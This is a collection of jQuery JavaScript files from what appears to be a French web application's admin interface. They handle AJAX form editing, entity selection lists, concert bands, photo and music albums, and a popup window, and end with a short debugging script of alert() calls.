$("#" + idForm).find("span[id^=champ_formulaire_combo_box_entite_]").each(function(i){
reinitialiserListeEntite($(this).attr("id"));
});
//Fin de l'initialisation de tous les champs
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "ajouter" }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
mode=modeAjout;
setEtatInterfaceModeAjout(idForm);
setTitreFormulaire(idForm);
if (onAjout != null) {
onAjout(idForm);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
}
});
}
function modifier(idForm, id) {
var retour;
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "modifier", id: id}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
for(var key in retour){
if (key != 'succes') {
var valeur = retour[key];
//TODO associer chaque champ à un nom d'attribut plutôt
//var champ = $("#champ_formulaire_" + key);
$("form[id="+idForm+"]").find("#champ_formulaire_" + key).each(function(){
//champ.html(retour.detail);
if ($(this).attr("type") == "checkbox") {
if (valeur == "1") {
$(this).attr("checked", "checked");
} else {
$(this).removeAttr("checked", "");
}
} else {
$(this).val(valeur);
}
});
$("form[id="+idForm+"]").find("#champ_formulaire_combo_box_entite_" + key).each(function(){
var idComboBoxEntite = $(this).attr("id");
reinitialiserListeEntite(idComboBoxEntite,"");
var listeId = valeur.split(',');
var champCombo = $(this).find('#combo_' + idComboBoxEntite);
var mapSelection = [];
for (var i=0; i<listeId.length; i++) {
//alert("tableau[" + i + "] = " + listeId[i]);
var id = listeId[i];
champCombo.find('option[value='+id+']').each(function() {
var libelle = $(this).html();
mapSelection[id] = libelle;
});
supprimerValeurACombo(idComboBoxEntite, id);
}
afficherListeEntiteDansFormulaireFromMap(idForm, idComboBoxEntite,mapSelection);
});
}
}
viderChampResultat(idForm);
setEtatInterfaceModeModification(idForm, id);
applyDefaultFocus();
mode=modeModification;
setTitreFormulaire(idForm);
if (onModification != null) {
onModification(idForm);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
}
});
}
function supprimer(idForm, id, entitePresentation) {
if (!confirm('Voulez vous vraiment supprimer "' + entitePresentation + '"')) {
return;
}
disableAllButton();
var retour;
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "supprimer", id: id}, function(data) {
retour = JSON.parse(data);
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
if (retour.succes) {
$.ajaxSetup({async:false});
displayListe(idForm);
$.ajaxSetup({async:true});
}
if (mode==modeAjout) {
setEtatInterfaceModeAjout(idForm);
} else {
$.post('/outils/forwarder/Forwarder.php', {idUC: idUC, cmd: "getIdModifie"}, function(dataID) {
var retourID = JSON.parse(dataID);
if (retourID.succes) {
setEtatInterfaceModeModification(idForm,retourID.id);
} else {
//$('#resultat').html(retourID.detail);
$("form[id="+idForm+"]").find("#resultat").html(retourID.detail);
}
});
}
});
}
function valider(idForm) {
$.ajaxSetup({async:false});
disableAllButton(idForm);
var idUC = getIdUc(idForm);
var parametres = { idUC: idUC, cmd: "valider"};
var prefixeChampFormulaire = "champ_formulaire_";
//champs de base
$("form[id="+idForm+"]").find(":input[id^=" + prefixeChampFormulaire + "]").each(function(i) {
var nomChamp = this.id.substring (prefixeChampFormulaire.length);
var value = this.value;
if (this.type == "checkbox") {
parametres[nomChamp] = this.checked;
} else {
parametres[nomChamp] = this.value;
}
});
//Champ combo box entité
var prefixeChampComboBoxEntite='champ_formulaire_combo_box_entite_';
$("form[id="+idForm+"]").find("span[id^="+prefixeChampComboBoxEntite+"]").each(function(i) {
var nomChamp = this.id.substring (prefixeChampComboBoxEntite.length);
var value = "";
$(this).find("span[id^=libelle_]").each(function(i) {
value += $(this).attr('key') + '|';
});
parametres[nomChamp] = value;
});
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
//$('#resultat').html(retour.detail);
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
if (retour.succes) {
displayListe(idForm);
changerMode(idForm,modeAjout);
} else {
if (mode==modeAjout) {
setEtatInterfaceModeAjout(idForm);
} else {
$.post('/outils/forwarder/Forwarder.php', {idUC: idUC, cmd: "getIdModifie"}, function(dataID) {
var retourID = JSON.parse(dataID);
if (retourID.succes) {
setEtatInterfaceModeModification(idForm,retourID.id);
} else {
//$('#resultat').html(retourID.detail);
$("form[id="+idForm+"]").find("#resultat").html(retourID.detail);
}
});
}
}
$.ajaxSetup({async:true});
return retour.succes;
}
//UTILITAIRE
var modeNonDefini='modeNonDefini';
var modeAjout='modeAjout';
var modeModification='modeModification';
var modeTransition='modeTransition';
var mode = modeNonDefini;
function getIdUc(idForm) {
return $("form[id="+idForm+"]").parents("uc:first").attr("id");
}
function disableAllButton(idForm) {
$("form[id="+idForm+"]").find("button").attr('disabled', true);
}
function setEtatInterfaceModeModification(idForm,id) {
var idListe = $("form[id="+idForm+"]").attr("listeLiee");
$("#" + idListe).find("button").attr('disabled', false);
$("#" + idListe).find("button[id*=_" + id + "]").attr('disabled', true);
$("form[id="+idForm+"]").find("button").attr('disabled', false);
}
function setEtatInterfaceModeAjout(idForm) {
var idListe = $("form[id="+idForm+"]").attr("listeLiee");
$("#" + idListe).find("button").attr('disabled', false);
$("form[id="+idForm+"]").find("button").not('#bouton_formulaire_annulation').attr('disabled', false);
$("form[id="+idForm+"]").find("#bouton_formulaire_annulation").attr('disabled', true);
}
function setTitreFormulaire(idForm) {
if (mode == modeAjout) {
$("form[id="+idForm+"]").find('#titreFormulaire').html($("form[id="+idForm+"]").attr("titreajout") + ':');
} else if (mode == modeModification) {
$("form[id="+idForm+"]").find('#titreFormulaire').html($("form[id="+idForm+"]").attr("titremodification") + ':');
} else {
$("form[id="+idForm+"]").find('#titreFormulaire').html("{MODE INCONNU}");
}
}
function chargerUC(idUc, idDivDestination) {
$("uc").remove();
jQuery('<uc></uc>', {
id: idUc
}).appendTo($('#' + idDivDestination));
$.ajaxSetup({async:true});
$("button[id*=bouton_formulaire_]").attr('disabled', true);
afficherChargementDans(idUc);
$.post('/outils/forwarder/Forwarder.php', {"cmd" : "chargerUC", "idUC" : idUc}, function(data) {
$('uc').html(data);
addClickHandlers();
$("button[id*=bouton_formulaire_]").attr('disabled', false);
$("form").each(function(i) {
var idForm = this.id;
//passage en mode synchrone pour que la liste ne s'affiche pas avant que
//le mode ajout soit fini
$.ajaxSetup({async:false});
changerMode(idForm, modeAjout);
$.ajaxSetup({async:true});
displayListe(idForm);
});
});
}
function charger(page, parametre) {
$.ajaxSetup({async:true});
$("button[id*=bouton_formulaire_]").attr('disabled', true);
afficherChargementDans("contenu");
$.post(page, {parametre : parametre}, function(data) {
$('#contenu').html(data);
addClickHandlers();
$("button[id*=bouton_formulaire_]").attr('disabled', false);
$("form").each(function(i) {
var idForm = this.id;
//passage en mode synchrone pour que la liste ne s'affiche pas avant que
//le mode ajout soit fini
$.ajaxSetup({async:false});
changerMode(idForm, modeAjout);
$.ajaxSetup({async:true});
displayListe(idForm);
});
});
}
function chargerSimple(page, parametre) {
$("button[id*=bouton_admin_section]").attr('disabled', true);
afficherChargementDans("contenu");
$.post(page, {parametre : parametre}, function(data) {
$('#contenu').html(data);
addClickHandlers();
$("button[id*=bouton_admin_section]").attr('disabled', false);
});
}
function displayListe(idForm) {
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "afficherListeAvecModif" }, function(data) {
var idListe = $("form[id="+idForm+"]").attr('listeLiee');
$('#'+idListe).html(data);
addClickHandlers();
});
}
function changerMode(idForm, nouveauMode, id) {
mode = modeTransition;
disableAllButton(idForm);
//annulation de l'ajout/modif en cours
$.ajaxSetup({async:false});
annuler(idForm);
$.ajaxSetup({async:true});
if (nouveauMode == modeModification) {
modifier(idForm, id);
} else if (nouveauMode == modeAjout) {
ajouter(idForm);
}
}
function viderChampResultat(idForm) {
$("form[id="+idForm+"]").find("#resultat").html("");
}
//////////////GESTION DES OBJETS LISTE////////////
function remplirListeEntiteDispo(idComboBoxEntite, recherche) {
//TODO faire un système de classe de recherche au niveau de l'entité
$.post('/outils/forwarder/ForwarderRechercheListe.php', { recherche: recherche}, function(data) {
retour = JSON.parse(data);
var select = $('#combo_' + idComboBoxEntite);
select.children().remove();
for(var key in retour){
if (key != 'succes') {
ajouterValeurACombo(select, key, retour[key]);
}
}
updateEtatBoutonComboBoxEntite(idComboBoxEntite);
trierComboParValeur("combo_"+idComboBoxEntite);
});
}
function ajouterValeurACombo(select, valeur, libelle) {
var option = $("<option/>");
var optionClone = null;
if ($('#' + select.attr('id') + "_"+valeur).size() == 0) {
//si l'élément n'est pas déjà dans la liste
optionClone = option.clone(true);
optionClone.val(valeur);
optionClone.text(libelle);
select.append(optionClone);
}
}
function updateEtatBoutonComboBoxEntite(idComboBoxEntite) {
var select = $('#combo_' + idComboBoxEntite);
if (select.children().size() == 0) {
$("#button_ajouter_" + idComboBoxEntite).attr('disabled', true);
} else {
$("#button_ajouter_" + idComboBoxEntite).attr('disabled', false);
}
}
function trierComboParValeur(idCombo) {
$('#' + idCombo).children().sort(function(a,b){
return $(a).val() > $(b).val() ? 1 : -1;
}).remove().appendTo('#' + idCombo);
}
function ajouterEntiteAListe(idForm, nomClasseRecherche,idObjet, idComboBoxEntite) {
$.ajaxSetup({async:false});
var retour;
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: getMethodeAjoutComboBoxEntite(idComboBoxEntite), idObjet: idObjet}, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
afficherListeEntiteDansFormulaire(idForm,idUC, idComboBoxEntite);
//remplirListeEntiteDispo(idComboBoxEntite,nomClasseRecherche);
//supprime l'option qui vient d'être ajoutée de la combo
supprimerValeurACombo(idComboBoxEntite, idObjet)
} else {
var idList = "list_" + idComboBoxEntite;
$("#" + idList).html("Erreur inattendue lors de l'ajout");
}
});
$.ajaxSetup({async:true});
}
function supprimerValeurACombo(idComboBoxEntite, key) {
$('#combo_' + idComboBoxEntite).find("option[value="+key+"]").remove();
updateEtatBoutonComboBoxEntite(idComboBoxEntite);
}
function supprimerEntiteAListe(idForm, idObjet, idComboBoxEntite) {
$.ajaxSetup({async:false});
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: getMethodeDeleteComboBoxEntite(idComboBoxEntite), idObjet: idObjet, messageListeVide: getMessageListeVideComboBoxEntite(idComboBoxEntite) }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
//récupère le libelle de l'option pour le remettre dans le combo
var libelleOption = $("#libelle_" + idComboBoxEntite + "_"+idObjet).html();
afficherListeEntiteDansFormulaire(idForm,idUC, idComboBoxEntite);
//remplirListeEntiteDispo(idComboBoxEntite,nomClasseRecherche);
//Ajoute l'option qui vient d'être ajoutée à la combo
var select = $('#combo_' + idComboBoxEntite);
ajouterValeurACombo(select, idObjet, libelleOption);
updateEtatBoutonComboBoxEntite(idComboBoxEntite);
trierComboParValeur('combo_' + idComboBoxEntite);
} else {
var idList = "list_" + idComboBoxEntite;
$("#" + idList).html("Erreur inattendue lors de la suppression");
}
});
$.ajaxSetup({async:true});
}
/**
* Supprime toutes les valeurs sélectionnées et
* les remet dans la combo box
*/
function reinitialiserListeEntite(idComboBoxEntite) {
var select = $('#combo_' + idComboBoxEntite);
$("span[id^=libelle_" + idComboBoxEntite + "]").each(function(i){
var libelleOption = $(this).html();
var key = $(this).attr('key');
ajouterValeurACombo(select, key, libelleOption);
});
$("#list_" + idComboBoxEntite).html(getMessageListeVideComboBoxEntite(idComboBoxEntite));
updateEtatBoutonComboBoxEntite(idComboBoxEntite);
}
function afficherListeEntiteDansFormulaire(idForm,idUC, idComboBoxEntite) {
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: getMethodeGetComboBoxEntite(idComboBoxEntite)}, function(data) {
var retour = JSON.parse(data);
afficherListeEntiteDansFormulaireFromMap(idForm, idComboBoxEntite,retour);
});
}
function afficherListeEntiteDansFormulaireFromMap(idForm, idComboBoxEntite, map) {
var idList = "list_" + idComboBoxEntite;
listeElement = "";
for(var key in map){
if (key != 'succes') {
listeElement =listeElement+ "<tr id='" + idComboBoxEntite + "_"+key+"' class='tableEntiteLiee'><td width='200px'>- <span key='" + key + "' id='libelle_" + idComboBoxEntite + "_"+key+"'>" + map[key] + "</span></td><td> <a href=\"javascript:supprimerEntiteAListe('"+idForm + "'," + key +",'"+idComboBoxEntite + "');\"><img src='/icones/supprimer.png' onMouseOut=\"src='/icones/supprimer.png'\" onMouseOver=\"src='/icones/supprimer-hover.png'\"/></a></td></tr>";
}
}
if (listeElement == "") {
$("#" + idList).html(getMessageListeVideComboBoxEntite(idComboBoxEntite));
} else {
$("#" + idList).html("<table id='table_selection_" + idComboBoxEntite + "' cellspacing='0'>" + listeElement + "</table>");
}
}
function getMethodeGetComboBoxEntite(idComboBoxEntite) {
return $("#"+idComboBoxEntite).attr("nomMethodeGet");
}
function getMethodeDeleteComboBoxEntite(idComboBoxEntite) {
return $("#"+idComboBoxEntite).attr("nomMethodeDelete");
}
function getMethodeAjoutComboBoxEntite(idComboBoxEntite) {
return $("#"+idComboBoxEntite).attr("nomMethodeAjout");
}
function getMessageListeVideComboBoxEntite(idComboBoxEntite) {
return $("#"+idComboBoxEntite).attr("libelleListeVide");
}
function getHTMLElementListeEntiteCombo(idForm, idComboBoxEntite, idElement, libelleElement) {
return "<tr id='" + idComboBoxEntite + "_"+idElement+"' class='tableEntiteLiee'><td width='200px'>- <span key='" + idElement + "' id='libelle_" + idComboBoxEntite + "_"+idElement+"'>" + libelleElement + "</span></td><td> <a href=\"javascript:supprimerEntiteAListe('"+idForm + "'," + key +",'"+idComboBoxEntite + "');\"><img src='/icones/supprimer.png' onMouseOut=\"src='/icones/supprimer.png'\" onMouseOver=\"src='/icones/supprimer-hover.png'\"/></a></td></tr>";
}
|
JavaScript
|
function afficherListeGroupeDansFormulaire() {
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeLie"}, function(data) {
var retour = JSON.parse(data);
listeGroupe = "";
for(var key in retour){
if (key != 'succes') {
listeGroupe += "<tr id='groupe_"+key+"' class='tableAutreGroupe'><td width='200px'>- " + retour[key] + "</td><td> <a href='javascript:supprimerGroupeAConcert(" + key +");'><img src='/icones/supprimer.png' onMouseOut=\"src='/icones/supprimer.png'\" onMouseOver=\"src='/icones/supprimer-hover.png'\"/></a></td></tr>";
}
}
if (listeGroupe == "") {
$("#autresGroupes").html("Pas d'autre groupe!");
} else {
$("#autresGroupes").html("<table cellspacing='0'>" + listeGroupe + "</table>");
}
});
}
function ajouterGroupeAConcert() {
$.ajaxSetup({async:false});
var idGroupe = $("#listeAutresGroupesDispos option:selected").val();
if ($('#groupe_' + idGroupe).size() > 0) {
//normalement ne doit jamais arriver
alert('Ce groupe est déjà dans la liste');
return;
}
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "ajouterGroupeAConcert", id: idGroupe }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
} else {
$("#autresGroupes").html("Erreur inattendue lors de l'ajout");
}
});
$.ajaxSetup({async:true});
}
function supprimerGroupeAConcert(idGroupe) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "supprimerGroupeAConcert", id: idGroupe }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
} else {
$("#autresGroupes").html("Erreur inattendue lors de la suppression");
}
});
$.ajaxSetup({async:true});
}
function remplirListeAutreGroupeDispo() {
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeDisponible" }, function(data) {
retour = JSON.parse(data);
var option = $("<option/>");
var optionClone = null;
var select = $('#listeAutresGroupesDispos');
select.children().remove();
auMoinsUnGroupe = false;
for(var key in retour){
if (key != 'succes') {
if ($('#groupe_' + key).size() == 0) {
auMoinsUnGroupe = true;
//si le groupe n'est pas déjà dans la liste
optionClone = option.clone(true);
optionClone.val(key);
optionClone.text(retour[key]);
select.append(optionClone);
}
}
}
if (!auMoinsUnGroupe) {
//si pas de groupe, il faut griser le bouton
optionClone = option.clone(true);
optionClone.val(-1);
optionClone.text("Pas de groupe dispo!");
select.append(optionClone);
$("#button_ajouter_groupe_sur_concert").attr('disabled', true);
} else {
$("#button_ajouter_groupe_sur_concert").attr('disabled', false);
}
});
}
function onConcertAjoutModif() {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
}
function gererPhotoConcert(idConcert, concertPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putConcertEnSession", id: idConcert}, function(data) {});
var parametre = {
id:idConcert,
concertPresentation: concertPresentation
};
chargerSimple("/web/photo/photo.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
function selectionnerImage(nomImage) {
var champ = $("#" + nomImage)
$("[class=cadre_miniature_selectionnee]").attr("class", "cadre_miniature");
champ.attr("class", "cadre_miniature_selectionnee");
}
function deletePhoto() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var imageSource = $(this).attr("src");
var nomPhoto = imageSource.substring(imageSource.lastIndexOf("/") + 1);
if (confirm("voulez vous vraiment supprimer la photo '" + imageSource + "'?")) {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "deletePhoto", nomPhoto: nomPhoto }, function(data) {
result = JSON.parse(data);
});
}
});
if (result.succes) {
displayListe();
return true;
} else {
$("#resultat").html(result.detail);
return false;
}
}
function updateCommentaire(idPhoto) {
var retour;
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', false);
//$("#bouton_modifier_*").attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', true);
//$("button[id*=bouton_enregistrer_]").attr('disabled', true);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', false);
}
function saveCommentaire(idPhoto) {
var commentaire = $("#champ_formulaire_commentaire_" + idPhoto).val();
$.post('/outils/forwarder/Forwarder.php', { className: 'GererPhotoAction', cmd: "saveCommentaire", idPhoto: idPhoto, commentaire: commentaire}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', false);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', true);
$('#resultat_' + idPhoto).html(retour.detail);
setTimeout(function() {
$('#resultat_' + idPhoto).html("");
}, 3000);
} else {
$('#resultat_' + idPhoto).html(retour.detail);
}
});
}
function setCouvertureAlbum() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var nomCompletMiniatureAlbum = $(this).attr("src");
var nomMiniatureAlbum = nomCompletMiniatureAlbum.substring(nomCompletMiniatureAlbum.lastIndexOf("/") + 1);
var idDivPhotoMiniatureAlbum = "photoMiniatureAlbum_" + nomMiniatureAlbum.replace(".", "_");
if ($("#" + idDivPhotoMiniatureAlbum).attr("class") == "photo_miniature_album_oui") {
//si c'est déjà la miniature, on l'enlève
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: "" }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
supprimeAffichageMiniatureParDefault();
return true;
}
} else {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: nomMiniatureAlbum }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
afficheMiniatureParDefault(idDivPhotoMiniatureAlbum);
return true;
}
}
if (!result) {
$("#resultat").html(result.detail);
return false;
}
});
}
function afficheMiniatureParDefault(idDivPhotoMiniatureAlbum) {
supprimeAffichageMiniatureParDefault();
$("#" + idDivPhotoMiniatureAlbum).attr("class", "photo_miniature_album_oui");
}
function supprimeAffichageMiniatureParDefault() {
$("[id*=photoMiniatureAlbum_]").attr("class", "photo_miniature_album_non");
}
function gererPhotoAlbum(idAlbum, albumPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putAlbumPhotoEnSession", id: idAlbum}, function(data) {});
var parametre = {
id:idAlbum,
albumPresentation: albumPresentation
};
chargerSimple("/web/photo/photo.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
function selectionnerMusique(nomImage) {
var champ = $("#" + nomImage)
$("[class=cadre_musique_selectionnee]").attr("class", "cadre_musique");
champ.attr("class", "cadre_musique_selectionnee");
}
function deleteMusique() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_musique_selectionnee]").each(function (){
var musiqueSource = $(this).attr("src");
var nomPhoto = imageSource.substring(imageSource.lastIndexOf("/") + 1);
if (confirm("voulez vous vraiment supprimer la musique '" + imageSource + "'?")) {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumMusiqueAction', cmd: "deleteMusique", nomPhoto: nomPhoto }, function(data) {
result = JSON.parse(data);
});
}
});
if (result.succes) {
displayListe();
return true;
} else {
$("#resultat").html(result.detail);
return false;
}
}
function updateCommentaire(idPhoto) {
var retour;
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', false);
//$("#bouton_modifier_*").attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', true);
//$("button[id*=bouton_enregistrer_]").attr('disabled', true);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', false);
}
function saveCommentaire(idPhoto) {
var commentaire = $("#champ_formulaire_commentaire_" + idPhoto).val();
$.post('/outils/forwarder/Forwarder.php', { className: 'GererPhotoAction', cmd: "saveCommentaire", idPhoto: idPhoto, commentaire: commentaire}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', false);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', true);
$('#resultat_' + idPhoto).html(retour.detail);
setTimeout(function() {
$('#resultat_' + idPhoto).html("");
}, 3000);
} else {
$('#resultat_' + idPhoto).html(retour.detail);
}
});
}
function setCouvertureAlbum() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var nomCompletMiniatureAlbum = $(this).attr("src");
var nomMiniatureAlbum = nomCompletMiniatureAlbum.substring(nomCompletMiniatureAlbum.lastIndexOf("/") + 1);
var idDivPhotoMiniatureAlbum = "photoMiniatureAlbum_" + nomMiniatureAlbum.replace(".", "_");
if ($("#" + idDivPhotoMiniatureAlbum).attr("class") == "photo_miniature_album_oui") {
//si c'est déjà la miniature, on l'enlève
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: "" }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
supprimeAffichageMiniatureParDefault();
return true;
}
} else {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: nomMiniatureAlbum }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
afficheMiniatureParDefault(idDivPhotoMiniatureAlbum);
return true;
}
}
if (!result) {
$("#resultat").html(result.detail);
return false;
}
});
}
function afficheMiniatureParDefault(idDivPhotoMiniatureAlbum) {
supprimeAffichageMiniatureParDefault();
$("#" + idDivPhotoMiniatureAlbum).attr("class", "photo_miniature_album_oui");
}
function supprimeAffichageMiniatureParDefault() {
$("[id*=photoMiniatureAlbum_]").attr("class", "photo_miniature_album_non");
}
function gererMusiqueAlbum(idAlbum, albumPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putAlbumMusiqueEnSession", id: idAlbum}, function(data) {});
var parametre = {
id:idAlbum,
albumPresentation: albumPresentation
};
chargerSimple("/web/musique/musique.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
var outilPopupWidthPopup;
var outilPopupHeightPopup;
var outilPopupPopupOuverte = false;
var onResizeUser;
var overflowInitial;
var outilPopupLargeurBordure = 20;
var outilPopupPadding = 10;
var outilPhotoGrandePopup;
function redimmensionnementElements() {
//redimmensionnement du fond
$('#masqueApplication').css("width", getOutilPopupWidthEcranVisible());
$('#masqueApplication').css("height", getOutilPopupHeightEcranVisible());
//redimmensionnement de la popup (si c'est une grande popup)
if (outilPhotoGrandePopup == true) {
setOutilPopupWidthPopup(getWidthGrandePopup());
setOutilPopupHeightPopup(getHeightGrandePopup());
}
$('#popup_block').css({
'width': outilPopupWidthPopup,
'height': outilPopupHeightPopup
});
positionneElements();
}
function positionneElements() {
var scrollLeft = getScrollXY()[0];
var scrollTop = getScrollXY()[1];
//Positionne le fond
$('#masqueApplication').css("left", scrollLeft);
$('#masqueApplication').css("top", scrollTop);
//Positionne la fenêtre
var popMargTop = (getOutilPopupHeightEcranVisible() - outilPopupHeightPopup) / 2;
var popMargLeft = (getOutilPopupWidthEcranVisible() - outilPopupWidthPopup) / 2;
var positionTop = popMargTop + scrollTop - outilPopupLargeurBordure - outilPopupPadding;
var positionLeft = popMargLeft + scrollLeft - outilPopupLargeurBordure - outilPopupPadding;
$('#popup_block').css({
'top' : positionTop,
'left' : positionLeft
});
//Positionne le bouton fermer
$("#boutonFermer").css('top', -16);
$("#boutonFermer").css('left', outilPopupWidthPopup -16 + outilPopupPadding * 2);
}
function ouvrirGrandePopup(page, onLoad, onResize) {
onResizeUser = onResize;
if (onResize != null) {
//$(window).bind('resize', onResize);
$(window).resize(onResize);
}
ouvrirPopup(page, getWidthGrandePopup(), getHeightGrandePopup(), onLoad, true);
}
function ouvrirPopup(page, popWidth, popHeight, onLoad, grandePopup) {
if (outilPopupPopupOuverte) {
return;
}
if (grandePopup == true) {
outilPhotoGrandePopup = true;
}else {
outilPhotoGrandePopup = false;
}
setOutilPopupWidthPopup(popWidth);
setOutilPopupHeightPopup(popHeight);
outilPopupPopupOuverte = true;
$(window).bind('resize', redimmensionnementElements);
$(window).bind('scroll', positionneElements);
jQuery('<div/>', {
id: 'masqueApplication',
onclick : 'fermerPopup();'
}).appendTo('body');
jQuery('<div/>', {
id: 'popup_block'
}).appendTo('body');
$('#popup_block').fadeIn();
overflowInitial =$('body').css("overflow");
$('body').css("overflow", "hidden");
//Apparition du fond - .css({'filter' : 'alpha(opacity=80)'}) pour corriger les bogues de IE
$('#masqueApplication').css({'filter' : 'alpha(opacity=80)'}).fadeIn();
$.post(page, function(data) {
$('#popup_block').css('position','absolute').css('left','0').css('right','0').css('top','0').css('bottom','0');
$('#popup_block').html(data);
jQuery('<img/>', {
id: 'boutonFermer',
src:'/icones/supprimer-32.png',
onMouseout:"this.src='/icones/supprimer-32.png';",
onMouseOver:"this.src='/icones/supprimer-32-hover.png';",
onclick : 'fermerPopup();'
}).appendTo('#popup_block');
if (onLoad != null) {
onLoad();
}
redimmensionnementElements();
});
}
function fermerPopup() {
//suppression des évènements
$(window).unbind('resize', redimmensionnementElements);
$(window).unbind('scroll', positionneElements);
if (onResizeUser != null) {
$(window).bind('resize', onResizeUser);
}
//Suppression des composants de la popup
$('#masqueApplication').fadeOut(300, function() { $(this).remove(); });
$("#boutonFermer").fadeOut(300, function() { $(this).remove(); });
$('#popup_block').fadeOut(300, function() { $(this).remove(); });
//restauration de l'overflow
$('body').css("overflow", overflowInitial);
outilPopupPopupOuverte = false;
return false;
}
/////////////////Méthodes utilitaires////////////////////
function getOutilPopupHeightEcranVisible() {
return $(window).innerHeight();
}
function getOutilPopupWidthEcranVisible() {
return $(window).innerWidth();
}
function setOutilPopupWidthPopup(popWidth) {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// outilPopupWidthPopup = popWidth + 2*outilPopupLargeurBordure + outilPopupPadding;
//} else {
outilPopupWidthPopup = popWidth;
//}
}
function setOutilPopupHeightPopup(popHeight) {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// outilPopupHeightPopup = popHeight + 2*outilPopupLargeurBordure + outilPopupPadding;
//} else {
outilPopupHeightPopup = popHeight;
//}
}
function getWidthGrandePopup() {
return getOutilPopupWidthEcranVisible() - 200;
}
function getHeightGrandePopup() {
return getOutilPopupHeightEcranVisible() - 150;
}
function getScrollXY() {
var scrOfX = 0, scrOfY = 0;
if( typeof( window.pageYOffset ) == 'number' ) {
//Netscape compliant
scrOfY = window.pageYOffset;
scrOfX = window.pageXOffset;
} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
//DOM compliant
scrOfY = document.body.scrollTop;
scrOfX = document.body.scrollLeft;
} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
//IE6 standards compliant mode
scrOfY = document.documentElement.scrollTop;
scrOfX = document.documentElement.scrollLeft;
}
return [ scrOfX, scrOfY ];
}
|
JavaScript
|
alert("document.documentElement.offsetWidth" +document.documentElement.offsetWidth);
alert("window.innerWidth"+window.innerWidth);
alert("document.body.clientWidth"+document.body.clientWidth);
alert("document.body.scrollWidth"+document.body.scrollWidth);
alert("$(document).width();"+$(document).width());
alert("$(window).width();"+$(document).width());
alert("document.documentElement.offsetHeight"+document.documentElement.offsetHeight);
alert("window.innerHeight"+window.innerHeight);
alert("document.body.clientHeight"+document.body.clientHeight);
alert("window.height"+window.height);
